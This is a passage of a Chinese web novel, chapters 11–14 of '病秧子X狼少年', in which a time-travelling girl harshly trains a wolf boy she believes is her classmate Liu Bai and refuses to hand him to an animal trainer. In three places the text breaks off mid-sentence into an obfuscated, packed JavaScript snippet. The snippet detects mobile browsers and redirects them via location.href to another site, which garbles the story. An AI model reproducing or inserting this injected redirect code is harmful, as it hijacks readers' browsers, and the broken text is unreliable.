“是是是。”蔡淑芬双手合十祈愿道,“但愿只有好处,没有什么祸端。” 这时,祝安走过来,比划着手示意说饭菜做好,可以准备吃饭了。 “走走走,先吃饱再说。”徐家荣说。 番薯饭、薯叶炒鸡蛋、鲫鱼汤,在这里算是不错的饭菜了。 闻到饭菜的香味,饿了一天的狼孩醒过来,直勾勾盯着坐在饭桌旁的一家人,眼神狂热而疯狂。 “嗷呜——” 嗜血的渴望唤醒了身体里的躁动因子,要不是被绑着,他现在恨不得扑上去,化作饕餮开启自助餐模式。 “我先端些饭菜过去给他。”徐知画站起来说道。 “我去我去。”徐安荣自告奋勇,觉得狼孩就像是个大型宠物,对他还处于好奇阶段。 “那一起吧。”徐知画说。 11. 病秧子X狼少年 狼孩见他们靠近,龇着牙低吼着,蓄势待发,彷佛一感知到威胁就会拼个你死我活。 在距离狼孩几十米的地方,徐安荣蹲下身,小心翼翼地将装好饭菜的搪瓷碗推到他够得着的地方。 徐知画:…… 好像在喂狗。 狼孩嗅了嗅,饭菜的香味引诱着他慢慢靠近,见两脚兽没再有其他动作,他猛地扑到地上,三下五除二将碗舔了个精光,又迅速缩回树底下。 这过程不过十秒。 徐知画目瞪口呆地看着这一幕。 “妈,他吃完了。”徐安荣转头朝蔡淑芬喊道。 “吃完就吃完了,再多的粮食没有。”蔡淑芬不在乎地说,就当喂条狗,活着看家逗乐就行,“你们两个赶紧过来吃饭。” “我再看看。”徐知画说。 徐安荣看了看缩成一团的狼孩,提醒道,“龟妹你看看就好了,不要靠太近。” “好,知道。” 徐安荣走后,徐知画的视线在他身上打量,彷佛要将他盯出一个洞来,越看却越心慌。 他看起来长着刘白的样子,但是行为举止并没有半分刘白从前的样子。 那他还是刘白吗? “刘白,刘白,你还记得我吗?”徐知画轻轻唤了一句。 “哧哧——哧哧——”狼孩喘着粗气,目露凶光,这个娇弱的两脚兽他有信心能够压制得了,忍不住舔了舔嘴角。 他倏地腾起扑过来,徐知画吓得跌坐在地上,好在绳子牵绊住了他,并没有让他得逞。 那一刻,徐知画感受到了杀意,他是真的想吃掉她。 下一秒,几个身影炮弹一样冲过去,握紧拳头就是一顿暴揍。 “让你吓龟妹!让你吓龟妹!”徐安荣气哼哼着边打边骂。 “有没有伤到?”蔡淑芬和祝安过来将她扶起,仔细检查着有没有受伤。 “没有。”徐知画摇摇头,赶忙制止道,“我没事,别打了,别打了,再打就打死了。” 其他人这才停下手,见狼孩被打得不成人样,伤口又裂开了,徐知画感到一阵心累。 “打痛了,他就会怕,就不敢随便攻击人。”蔡淑芬拉住徐知画的胳膊走,“去吃饭。” 徐知画边走边回头:“他的伤口包扎要重新包扎……” “等会叫你二哥再去看看,死不了。”蔡淑芬不在意地说道。 徐知画不自觉叹了口气,心乱如麻,看他的样子,根本没有刘白的记忆,还想着和他商量对策怎么回现代。 现在看来,她还是一个人吗? 失落。 不过在看到他耳下的红痣后,徐知画又坚信他是刘白了,只不过是一个没有后世记忆的刘白。 他还是他。 既然他是刘白的话,那IQ肯定也会很高,她可以培养他像后世的刘白那么厉害,到时就有办法一起回去了吧。 有了这方面的想法,徐知画振作起来,干劲满满。 感觉在这个时代自己不是孤军奋战了。 * 这次被痛打一顿后,狼孩认清一个事实—— 这个看起来香香嫩嫩、娇娇弱弱的两脚兽,是族群里不能招惹的,一旦有伤害她的动作,其他凶猛的两脚兽看到后,则会对他拳打脚踢。 据他观察,她的地位还很高,其他两脚兽都在干活,就她坐在那里休息吃东西。 虽然不懂她为何如此受其他两脚兽的爱护和保佑,但是不妨碍他知道,如果讨好她的话,可能自己的处境会过得容易一些。 而且,看两脚兽们的反应,似乎并没有想要杀死他的想法。 为什么? 狼孩想不明白。 徐知画也想不明白,为什么教他用筷子就那么困难呢? 狼吞虎咽。 这个成语果然名不虚传。 筷子在他手上根本没发挥到一点儿作用。 好在之前训过狗,徐知画想着狗和狼也差不多,她是有经验的老师了,啥困难都能克服的! 软的不行,她决定来硬的。 在狼孩的面前,徐知画先是慢动作示范了一遍怎么拿筷子夹东西吃,接着让旁边的狗岁表演—— 只见狗岁拿起筷子就是狠狠一折,要不就是咬断,徐知画装出一副暴怒的样子,抬起手对着他的屁股就是一阵猛打。(屁股塞了枕头) “啪!啪!啪!”的声音,加上狗岁的惨嚎和惊惧的表情,显得下手特别重。 狼孩被眼前的这一幕吓得连连后退,眼里充满了警惕和不安。 徐知画再示范一次,狗岁这次乖巧地拿过筷子,夹起菜就吃。 徐知画及时给予正向反馈,满意地摸了摸他的头,又奖励他更多东西吃。 然后,一双筷子被塞到了狼孩的手上,他下意识丢了出去。 徐知画一个眼神,徐安荣将狼孩提过来,对着他屁股又是一顿暴揍。 他下手可没收着力,狼孩再次痛得“呜呜”叫。 而且如果想吃东西,只能用筷子,只要发现他直接用嘴去叼或者用手扒饭的迹象,不是打就是饿肚子。 如此反复训练,虽然拿筷子的姿势太不熟练,但狼孩总算学会用手握住,多试几遍也能夹起饭菜来。 狼孩很愤怒,不知道为什么要学习这些,直到那一天的到来—— 那一天,两脚兽们又将他丢进河里搓洗干净,他再次被绑起来,无法动弹。 紧接着,那娇弱的两脚兽拿着一把小小的武器在他的头上作乱,狼孩感受到一股寒气自脚底涌上头顶,汗毛倒竖,对于危险的警觉让他忍不住颤抖起来。 她要干什么? 随后,狼孩看见黑黑的毛发一撮一撮掉落,头顶发凉,意识到发生了什么,他痛苦而疯狂嚎叫起来。 她怎么敢! 她怎么能! 本来身上的毛发就不茂密,现在全没了,想到若是再见到昔日的伙伴,那肯定会被嘲笑死。 狼孩感到一阵绝望。 他恨她! 就在他痛哭得不能自己,一个奇怪的东西被递到面前。 狼孩惊奇地瞪大了眼睛,里面竟藏着个两脚兽,可他动,里面的两脚兽也动。 他低头观察了一下自己的四肢,又看了看旁边的两脚兽们,他终于认清一个事实—— 他不是狼! 他也是一个两脚兽! 这个发现打破了他的认知。 他什么时候变成两脚兽了? 他听见面前的两脚兽说:“我们都是人,人,知道吗?人,人,人。” 狼孩盯着她红润润的嘴唇,不自觉跟着噏动:“re ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563779|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' n,ren,ren。” 虽然说得不甚清晰,但隐约还是能听出来。 狼孩心脏扑通扑通狂跳,新奇的体验让他感到很美妙。 “徐知画,刘白。”徐知画先反手指了指自己,再将食指指向他。 狼孩有样学样,说得很是艰难:“西子花,牛掰。” “徐、知、画,刘、白。”徐知画放慢速度,一字一顿纠正。 “龟妹,姑姑叫龟妹。”狗岁打断道。 听着这个称呼,徐知画尴尬扶额,那时刚来到这里,对所有事都漠不关心,觉得也呆不久,他们叫自己什么也无关要紧。 叫着叫着,听着听着,这个土土的称呼竟也听习惯了。 后来她在大队还发现了“猪妹”“狗妹”“鼠妹”等,可见在这里,【动物+妹】的组合名字是司空见惯。 “那是小名,我向他介绍的是大名。”徐知画一本正经地说。 “那我有大名吗?”狗岁好奇地问。 徐知画:“这个要问你爸妈。” “我爸妈不在家。”狗岁脸色低落,一下子由晴转阴。 徐知画想起徐敬荣和池清荷早已休假结束,上去工作了,狗岁是留守儿童。 “对啦,我可以去问爷爷奶奶,他们肯定也知道。”狗岁情绪来得快,去得也快,说着蹦蹦跳跳找二老询问去了。 徐知画专心教学:“刘——白,徐——知——画。” 狼孩学着学着有些烦躁了:“牛——掰,西——子——花。” “刘白。” “牛掰。” “刘!白!” “牛!掰!” 怒火“噌”一下上头,徐知画控制不住情绪上手拧着他的两腮喊道:“刘白!你牛掰什么呀!你自己名字都说不清楚!这是最简单最基本的了!” 拧着拧着,徐知画的手都累了,他脸皮一点没红,还不服气地怒瞪着眼。 气不打一处出,徐知画猛地摇晃起他的脑袋,企图晃掉里面的水,变回以前聪明的刘白,咆哮着:“刘白!刘白!刘白!刘白!你还要我教多少遍!” 一旁的徐康荣看着逐渐癫狂的小妹,提醒道:“龟妹,先歇歇,喝口水。” 意识到人前失态了,徐知画深呼吸平复着心情,不过转瞬间,狂躁脸恢复成淡然脸。 “祝安,死哪里去啦!赶紧拿水壶过来!”徐康荣冲屋子里喊道。 徐知画连连摆手:“不用叫她,我不渴。” “你教了那么久,不渴也喝点水润润喉。”徐康荣贴心地说。 说话间,祝安提着水壶过来,一人倒了一碗水放在旁边的木桌上。 徐康荣又挑起刺来,态度恶劣:“磨磨蹭蹭,这么热的天,不会放点金银花下去泡水啊,真是一点眼力见都没有。” “你别这么说她。”徐知画皱了皱眉。 “她就是欠骂,说一句动一下。”徐康荣瞪了祝安一眼,“还不快去。” 祝安温温柔柔地冲徐知画笑了笑,转身回屋拿金银花去了。 徐知画再一次感慨这个时代女人的可悲,以夫为天,任劳任怨。 不过人家夫妻间如何相处,她也不好多说什么。 徐知画转头对上狼孩眼巴巴的目光,没好气道:“你今天说不准自己的名字,没得喝!” 12. 病秧子X狼少年 “刘白,握手。” “刘白,打滚。” “刘白,捡回来。” “刘白,……” 刘白刘白刘白叫多了,狼孩听到这两个字形成了条件反射,在一次次纠正下,也能字正腔圆说出自己的名字了。 关于为什么给他取这个名字,徐知画给出的解释是:“他长得有点黑,要留一点白才好看。” 这一看,狼孩的确是有点黑,徐家人并没有什么异议,也无所谓。 刘白在明白自己是个【人】,而非【狼】后,他开始主动观察、模仿人类。 他喜欢每当完成人类的指令时,奖赏的食物和赞赏的眼神。 人类果然像传说中那般厉害。 当看到一个难产的山羊被抬到徐康荣的面前,就在刘白以为山羊必死无疑时,徐康荣妙手回春救活了它。 刘白是大开眼界,大为震撼。 他后知后觉伤口在每次“折磨”(换药)下,日渐康复,于是乎,对人类的警惕防备也日渐放松。 他也想成为厉害的人类。 “刘白!你这个天杀的蠢货!” 天光破晓,又迎来了新的一天,一声刺耳的痛骂惊醒了睡梦中的人们。 徐知画披上一件薄衫出去一看,见蔡淑芬一脸暴怒,揪着刘白的耳朵,不堪入耳的脏话一句接一句从嘴里冒出。 蔡淑芬看到女儿,强行将火气降了降,缓缓道来:“今早我出来一看,家里那只母鸡被他打折了腿,还有晾晒的草药被糟蹋光光,搞得乱七八糟,气死人!” 徐知画注意到刘白被绿糊糊的草药糊了满身,旁边还有一只鸡亦然,踉跄着一只腿想逃离。 “一天天尽会找麻烦,看我不打死他!”说着说着火气又燃起来,蔡淑芬随手找来一根竹条想要教训教训他。 刘白不明白蔡淑芬为什么那么生气,但见她气冲冲地拿着一根竹条朝自己走来,怎么看都是要打自己,她追到这边,他就跑到那边。 “大家快抓住他!”见其他人也被吵醒了,蔡淑芬赶紧吩咐道。 这一声令下,一家人开始了“你追我跑”的抓捕之中。 在众人的合力追捕下,刘白还是被抓住了。 “太脏了!赶紧带他到河里洗干净!”蔡淑芬边说边抽得他痛呼连连。 刘白被徐家荣和徐安荣连拖带拽往河里赶去。 “龟妹,你就不用跟过来了。”徐家荣喊住了徐知画的脚步,心想着要不趁机丢他回深山。 “你们带他出去,记得带他回来。”徐知画不放心地叮嘱道。 “知道。”徐家荣不情不愿地答道。 “龟妹放心,我会将他洗白白带回来给你玩的。”徐安荣笑呵呵着说。 “走快点。”徐家荣催促道。 来到河边,两兄弟将刘白丢进河里,再扑通跳下去。 水包裹住身体,刘白被呛得呼吸不过来,“咕噜咕噜……咕噜……咕……咕噜噜……”越挣扎,肺部撕裂和灼烧感越剧烈。 就在他以为要死去时,脖颈猛地被拎起,口鼻浮在水面上,大口大口地喘息着。 然而下一秒,他的脑袋被重重摁下去,窒息感再次涌来。 紧接着又被救起,再沉溺…… 如此反复,刘白意识到对方在戏弄折磨自己。 他生气了! 可打不过! 生气无用! 更加生气了! 刘白暗暗在心里记下这一笔,想着有朝一日,总要报复回来! 折腾累了,徐家荣将刘白丢给徐安荣搓洗,自己去摸了几条鱼,最后又揍了他一顿,才起身回家去。 刘白又被栓起来了,还被罚没有早餐吃,看着对面一家人吃着香喷喷的馒头,他愤怒地嘶吼着,想吸引他们的注意。 “想吃?”徐家荣挑衅般拿着馒头来到刘白的面前,慢悠悠吧唧吧唧嚼着,逗得他直流口水,才目露讥嘲道:“没有!” “嗷呜——嗷呜——”刘白气得面目狰狞,却别无它法。 他们有什么好生气的,他忍着没吃那只鸡已经很了不起了。 之前看徐康荣将那些草药捣烂敷在伤口上,就会好起来,他只是想打折鸡的腿试验一下,有什么错?! “你真是大错特错!你这个大笨蛋!不要总想着搞东搞西!站直了走路!”徐知画手拿竹条,一看他有懈怠之意就甩一鞭过去。 竹条细细一根,抽到身上却火辣火辣般的疼痛,刘白被打出了阴影,看到竹条就乖顺得像小绵羊。 见徐康荣已经将鸡的腿包扎好,相信不日就会好起来,刘白想学这门手艺,想凑上前瞧仔细。 鸡看到他靠近,扑腾着翅膀咯咯尖叫着。 徐知画又一竹条抽过去:“今天你给我学会怎么站直走路!” 看着他走路四肢八歪的样子,有时徐知画也会怀疑,他真能变回那个天子骄子吗? 刘白挺了挺脊背,满腔怨恨浮起,幻想着总有一天身份调换,叫她尝尝被竹条抽的滋味。 “来来来,往里走,狼孩就住在这家。” 伴随着大队长徐开鸿声音,只见他带着两个陌生人跨进院子。 “哟,正在驯他呢。”徐开鸿边往里走边笑着介绍道,“这是悟曦日报的访员程阳同志和驯兽师黄二同志,今天想来给狼孩做个专访宣传宣传。” 刘白呲着牙,弓起身子做出防御动作,防备地看着来人。 “欢迎欢迎。”徐康荣招呼道,“龟妹,去屋里搬凳子出来。” 徐知画听话照做,心里隐隐有些不安。 大家坐下后,想到家里并没有什么瓜果招待,徐知画又给每人倒了一杯水喝。 刘白缩在徐知画的身后,对面那个尖嘴猴腮的男人眼珠盯着他滴溜溜转,看得人发毛。 “看来这段时间训练有成效啊,他不会随便攻击人吧?”徐开鸿有些担忧地看着狼孩,唯恐一不注意他就发起攻击。 “不会。”徐知画本来是不想棍棒教育的,但后来发现上手比说教更能让他印象深刻做出改变,靠着一根竹条,他不敢还手。 毕竟,刘白试过很多次了,还手的后果,他可不想再多体验。 并且在徐知画的坚持下,他获得了活动自由。 访员程阳掏出笔记本和笔,问了发现狼孩始末和一些日常问题,又拍了几张照片,感觉内容有点过于平淡,不甚满意。 这时驯兽师黄二提议道:“且让我来会会他。” “你随意。”徐康荣做了一个请的动作。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563780|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黄二从包里掏出一块生肉用线绑在一根竹竿上,像钓鱼般站在刘白身后不远处引诱道:“来,刘白,过来。” 刘白眼睛一眨不眨地盯着生肉,不自觉咽了咽口水,他好久没吃过这么一大块肉了。 他猛地扑过去,却见黄二将竹竿一抬,生肉被甩飞了。 看着这一幕,徐知画皱了皱眉:“这是要干什么?” 徐开鸿接话道:“黄二同志说想驯驯他,不用紧张。” 这怎么看都是将他当猴耍的架势,徐知画隐隐有些不悦。 黄二将生肉甩过来甩过去,刘白就扑过来扑过去,抓住时机,纵身一跃,成功将肉抓在手上,正打算美美享受一餐。 却见黄二拿起竹竿狠狠敲打着他的后背。 “刘白!”徐知画气冲冲地来到黄二面前,将竹竿夺下,“你这是在干什么?” “刘白!不能吃!”徐知画转头又冲刘白吼了一句。 刘白被吓了一个哆嗦,仍护食地将肉紧紧地攥在手上,狼吞虎咽地吃起来。 “我只是想让他将肉放下。”黄二摊摊手。 “你不想给他,就不要这样逗他。”徐知画瞪了他一眼,快步走到刘白面前,想从他口中夺下生肉。 “不能吃!给我!”徐知画掰着他的嘴巴。 “龟妹!快走开!”徐康荣急急喊道。 “嗷呜——”刘白不耐烦地冲徐知画咆哮了一声。 “哎呀,小心他咬你!”徐开鸿赶忙拉她离远点,想起他家的狗有次护食把人咬了,这可不是闹着玩的。 “这照片好,有故事性。”他们争执的时候,程阳见机摁下快门。 “你不能再喂他吃生肉!”徐知画气鼓鼓地对黄二说。 “放心,他心里有数。”徐开鸿拉她坐下,淡定道,“黄二同志是这附近有名的驯兽师,且让他调教调教这狼孩。” 黄二紧接着又将一块肉掉在大圆环内,用手势重复做了一个穿过圆环的动作,刘白意犹未尽地盯着那块肉,舔了舔嘴角。 “来,钻过去。”黄二目光迫切,看着他好像看到了一棵摇钱树。 刘白四肢伏着,试探着往前走了几步,见对方没有威胁之意,以迅雷不及掩耳之势跃起、从圆环中间钻过,用嘴叼走了肉。 “好!”黄二不由得鼓了鼓掌,走过去又丢了一块肉给他,赞赏道,“做得好!” 这样的眼神刘白很熟悉,明显是夸赞,他津津有味地吃着肉,好开心! 圆环的高度一次次增加,但刘白在其示意下最后还是挑战成功,看得黄二是心花怒放。 “我想要带他走。”黄二笑眯眯地摸了摸刘白的脑袋。 徐康荣听到这话,心想:【好啊好啊,立刻带走。】 “不行!”徐知画想都没想就拒绝了,“你将他当作什么了?他是人,不是玩杂耍的动物。” “大队长。”黄二看向徐开鸿,笑了笑,“你看这事……” 徐开鸿想到还没捂热的粮票,清了清嗓子,说:“这段时间,你们照顾狼孩辛苦了,相应的补偿我会给你们……” “大队长,他现在就是我的家人,谁都不能带走他。”徐知画打断了他的话,坚定地说,“你们要带走他,除非从我的尸体上踏过去。” 13. 病秧子X狼少年 刘白隐隐约约看明白面前这个给肉吃的男人想带自己走,而徐知画不让。 为什么不让?! 刘白很生气,觉得她阻挡了自己通往填饱肚子、幸福每餐之路。 他不高兴地将挡住去路的徐知画一推,眼巴巴地跟在男人的身后,如果有尾巴的话,这一刻可以看到摇得非常欢快。 【带我走吧,我要吃肉肉。】 刘白讨好地用脑袋蹭着男人的胸膛,一脸谄媚样。 “你看,他是想跟我走的。”黄二哈哈大笑起来,得意地给徐知画抛去一个挑衅的眼神。 “他现在是傻的,我不是。”徐知画冷哼道,“你不要想着靠几块肉就骗走他,他不能离开我。” “多一张嘴吃饭,多个负担,女娃娃,非亲非故的,你又何必非要收留他。”黄二满意地看着刘白,继而劝说道,“跟着我,保证他饿不死,你想要什么补偿,也尽管提。” “我也不会让他饿死,用不着你什么补偿。”徐知画看着刘白笑得鬼迷日眼,被人卖了还要帮人数钱,怒火就噌噌噌往脑袋上冒。 “刘白!你给我滚回屋里去。”徐知画脸色比锅底还黑,忍不住怒吼道。 这句话这几天经常听,刘白知道应该怎么做,可是他现在不想滚回屋里,就想跟黄二走。 【带我走吧,带我走吧。】 刘白顺势躺在地上,露出肚皮打滚着以表达友好乐意。 又傻又蠢的样子真是没眼看。 徐知画根本无法将眼前这个人和现代让无数女生着迷的高岭之花联系到一起,这不是她认识的刘白! 她简直是要疯了! “刘白!你再不滚进屋,我要抽你了。”徐知画很想在外人面前保持温柔体面的形象,可实在是忍无可忍。 她一举起竹条,刘白便怂了,连滚带爬缩回屋子里,躲在门后探头探脑瞧着。 徐康荣看徐知画如此坚持,自是据理力争站在她那边,最终刘白还是留了下来。 “既如此,你们接着好好教导狼孩,我送两位同志出村。”徐开鸿打着圆场道,心知肚明跟着黄二肯定没好日子过,这给的缺德钱不是很多,不赚也罢。 黄二不舍地看了看刘白,仿佛看到摇钱树离自己越来越远了,不过来日方长,想得之,需再筹划筹划。 “程阳同志,请留步,我有事想请教请教您。”徐知画说。 “我们在外面等你。”徐开鸿和黄二先出去了。 程阳好奇地看着这个很有主见的姑娘,面容白皙,标志的瓜子脸,明眸皓齿,不难看出再长大些会是个明艳动人的美人。 而且外表娇娇弱弱的,但她身上就是有一股韧劲,面对外人时敢据理力争自己所想要的,这是很多年轻女孩不具备的品质。 在她澄澈的目光中,反倒是程阳先生出不自在来:“请问找我有什么事吗?” “嗯,像您这样见多识广的访员同志,我很是敬佩崇拜。”求人办事,徐知画先给对方戴上一顶高帽,也默默观察着他。 在这里的庄稼汉大多数穿补丁的粗衣麻布时,他就已经穿上了的确良短袖白衬衫和牛仔裤,头发也是搭理过的,可见走在时尚潮流的最前沿,家底不一般。 “我想打听一下,现在如果向报社或者画报杂志投稿的话,请问稿费怎么算呢?”徐知画问道。 手上没钱,心里没底,既然打算留在这里生活,想干点什么事,还是需要钱的支撑。 “稿费?你说的是稿酬吧,现在稿酬制度已停止执行,大多数人是零稿酬创作。”想到现在的创作环境,不容乐观啊,程阳叹了口气,继而说道,“不过所创作的作品要是被采纳的话,有些出版社会赠送报刊、图书、文具、购书票等票证。你有兴趣的话,可以试试。” “啊?这样啊。”徐知画愣了愣,虽然知道这个时代的特殊性和局限性,但真是一文钱难倒英雄汉,不过还是要试试,就当积攒经验和名声,毕竟以后的局势只会越来越好。 “多谢告知。”徐知画感激地笑了笑,请求道,“方便帮我留意一下出版社或者报社杂志的联系方式吗?我写作画画还不错,到时送你一张画像怎么样?” “噗嗤——”程阳没忍住笑出声,她年岁不大,却自信爆棚,好似只要投了作品,就一定会被采纳一样,到底是没忍心打击她的信心,他点点头,说:“行,回去我收集好地址给你寄过来。” “再次感谢,等我出名了,我不会忘记您对我的帮助,如果将来我创作的作品名扬海外,有像您一样的访员来采访时,我一定会说是您雪中送炭独具慧眼,我有明天的成就,离不开今天您的支持,我一定要报答您的知遇之恩。”徐知画嘴巴叭叭一堆,画的饼又大又圆,最后才缓缓道出目的,说,“您看要不先投资一下我这个未来之星?” 程阳对她这番言论感到很新奇,也很欣赏她的自信,笑道:“怎么投资?” “您看我现在是捉襟见肘,能不能先资助我一些颜料、画笔和白纸?”巧妇难为无米之炊,徐知画以往哪里需为这些操心,说出来还有点不好意思。 前提巴巴拉拉说那么多,程阳还以为她会提出什么惊天动地的要求,结果,就这? 真是狮子小开口,这对他来说不过是举手之劳,程阳嘴角没绷住弯了弯,豪爽道:“行。” 见两人相谈甚欢的样子,虽然并无逾越之举,但是离得有点远了,听不清在说些什么,徐康荣是坐立不安啊,胡思乱想着龟妹是不是对这个看起来人模人样的访员有意思,看他油头粉面不是个可靠的,可不要被他骗了去。 “那就拜托您了,程同志慢走,有空再过来玩。”徐知画送他到门口,挥手告别。 直到看不见背影了,徐知画才转身回屋。 “龟妹,来一下,我有话要问你。”徐康荣喊住了她的脚步。 “怎么啦?”徐知画走过去,顺势拉凳子坐下。 “有些人外表看上去光鲜亮丽,其实包藏祸心,你现在年纪还小,看不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563781|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人的花花肠子,作为你的哥哥,有义务在你误入歧途之前提醒你,离刚才那个男人远点。”徐康荣仿佛看到一个无知少女即将被骗身骗心,担忧至极。 “你想哪里去了?”徐知画无语地笑了,说,“我只是有求于他,问他点事,当他是财神爷那样敬着,你别想那些有的没的,我才多大年纪啊,没有谈恋爱那心思。” “那就好。”听她这么回答,徐康荣松了口气,话一转,问道,“你有什么事要求他帮忙,怎么不跟我说?” 这不是看这个家穷得响叮当,穿的都是破破烂烂,她怎么好意思要钱提要求。 “不是什么大事。”徐知画敷衍道,只想着自己挣钱,想怎么花就怎么花。 “龟妹,我是你哥哥。”徐康荣眸光微暗,笑意苦涩不达眼底,“你宁愿向外人求助,也不愿跟我说吗?” 徐知画心虚地抠了抠指甲,讪笑道:“我就想请他帮忙买一些画画的工具给我,他是访员,弄到这些东西应该很方便。” 光荣大队有个供销社的代销点,但卖的都是烟酒糖茶,油盐酱醋等等一些日常用品,颜料肯定是没有的。 “这些东西三弟可以帮你弄来,以后有什么想要的东西,直接跟家人们说。”徐康荣看着她欲言又止的样子,放低了声音接着说,“我们家虽然看起来穷,但这么多年下来,还是积攒了一些家底,只不过在外人面前,还是要装装穷样子,不然会招惹来嫉恨。” “总而言之,你日常缺啥想买啥,不用跟我们客气,哥哥们很乐意给妹妹花钱的。”徐康荣当即从口袋里掏出几张钱票,说,“这些先给你,不够我晚点回屋再拿。” “不用,你收着吧。”徐知画摇摇头。 “你又跟我客气了。”徐康荣故意板起脸。 “那我想问一下,把屋子推了重建,需要花多少钱?”徐知画看着他又问道,“能不能在院子里打口井啊?” 听到她一连二问,徐康荣倒吸了一口气,她还真不客气啊。 “这个……家里目前没有那么多钱,也没有重建房和打井的打算。”刚才还说不用客气,现在妹妹说出想要的了,却无法满足,徐康荣感觉脸火辣辣的。 “你先说大概要多少嘛,我也好有这个动力去赚这笔钱。”徐知画可没想过要这一家子怎么辛勤努力去满足自己的需求。 “几百块是要的。”徐康荣说。 “几百块?几百块就行了?不用几千几万块?”徐知画惊讶道。 徐康荣:“像村里那种土坯房,就几百块可以了。” “那么便宜!”徐知画的眼睛一下子迸发神采,仿佛看到新房子在向自己招手了。 徐康荣幽幽道:“你是不当家不知柴米贵,赚钱很难的。” 听她的语气,几百块好像随随便便不费吹灰之力就能赚到一样。 “等着吧,以后我带你们吃香的喝辣的。”徐知画嘴唇上翘,心中的阴郁一扫而空,从没有哪一刻像这一刻,这么迫切想搞钱。 14. 病秧子X狼少年 “刘白!你敢动试试?” 太阳照常升起,今天徐知画给刘白布置两个任务: 一、贴墙站改善体态; 二、掌握走姿基本要领。 此时,徐知画一个眼神杀过来,只见刘白直挺挺地贴墙站着,然而坚持不过五分钟,他忍不住想动一动。 “嗯?”徐知画拿起旁边的竹条。 刘白立马身姿挺拔如青松,一动不敢动。 徐知画放下竹条,又埋头专心编写教材,毕竟想要将刘白培养成一个出色的物理学家,识文断字是必需的。 她开始绞尽脑汁回忆小学时学过的拼音,边写边念出来:“张大嘴巴aaa,公鸡打鸣ooo……刘白!” 徐知画再次抬起头,面带愠怒:“站好!” 刘白瘪着嘴瞪着她,站着不动好难受啊,快坚持不住啦,为什么她坐着,却要他站着,他不服气! 徐知画心里着急得要死,他现在还不是之前那个天赋异禀品学兼优的天子骄子,已经输在起跑线上了!!! 看着他这副傻乎乎不思进取的样子,她就气得要死! 心头倏地蹿起一股子无名火来,徐知画“啪!”一声将笔放下,气冲冲地来到他面前,两簇怒火在双眼中闪烁。 “时间不等人懂不懂?这点困难都克服不了,你还能做什么!是,做了那么多年的狼,我现在让你做人,蜕变的过程是痛苦的!我也想一蹴而就啊,但谁让你来到这时代没记忆呢,那就从头开始咯!我是为你好,你也不想这样稀里糊涂过一辈子吧?做人,你首先要端正态度,你看你这吊儿郎当的,能不能有点自觉性,站好!” 若是自己有他之前学物理那个脑子,就不指望培养他成才,以求一个重回现代的机会了。 她也想自己上啊,但是…… 气啊! 她在说什么,刘白一句都没听明白,不过那字字句句好似都化成了利刃,刺得耳膜生痛。 可怕! 她生气的样子好可怕,刘白一颗心提到了嗓子眼,身体的每个细胞都恨不得直立以求她消消怒火。 “后脑勺贴墙!两肩同高!挺胸收腹!双腿并拢!”徐知画边说边纠正道。 徐知画站在面前,刘白收起松懈懒散,她怎么要求,他就怎么做。 “你看,你这做得不是挺好的,真棒!继续坚持。”徐知画摸了摸他的脑袋,鼓励道,“Goodboy。” 她笑了。 这一瞬间,好像阳光驱散黑暗,冰雪消融,春暖花开,刘白提着的心放下,也忍不住跟着笑起来。 她看起来好好吃,刘白私认为其他人都不如她好吃。 白白糯糯的脸蛋,生气时两腮还会鼓起来,他猜测味道肯定是香香甜甜的,想着想着肚子又饿了,可他不敢咬过去,上次刚张口,他就被痛扁了一顿,他还记得呢。 要是吃了她,他肯定也活不了,刘白知道在这家中徐知画的地位,很是识时务。 他还想作为人在这世间生活了。 【不能吃她!】刘白暗暗告诫着自己。 “咕咕——咕咕咕——” 口水在口腔中泛滥,刘白不自觉咽了咽。 “饿了?再站半个小时,就给你吃的。”徐知画说。 她不动,刘白也不敢动,两人就像两座雕塑一样相对而站。 看着刘白,徐知画心想着他现在好黑,皮肤粗糙黯淡,看惯了他的俊颜,这个落差还真看不惯,为了对自己眼睛友好一点,要想法子给他美白一下才行。 要是他也有现代的记忆,看到这样不修边幅的自己,会是什么感想反应?不过她肯定是要大笑特笑他的。 又想到现在自己相当于带领他进击物理界的老师,还有很长一条路才能让他变成那个优秀的刘白,徐知画就笑不出了。 差不多半个小时过去,徐知画去厨房将番薯粥、猪油炒薯叶和清蒸鱼端上桌,刘白早已乖乖坐在凳子上伸长脖子等待着,两掌摊开给她看,以示自己洗过手了。 “康荣哥,吃午饭了。”徐知画冲屋外喊了一句。 “欸,就来。” 刘白看着桌上的食物蠢蠢欲动,想趁徐知画不注意先偷吃一点,刚伸手就被抓个正着。 “别动!”徐知画拍了一下他的手背。 “嗷呜~”刘白不爽地喊了一声。 “嗯?”徐知画一记眼刀过去,“端正坐姿!” 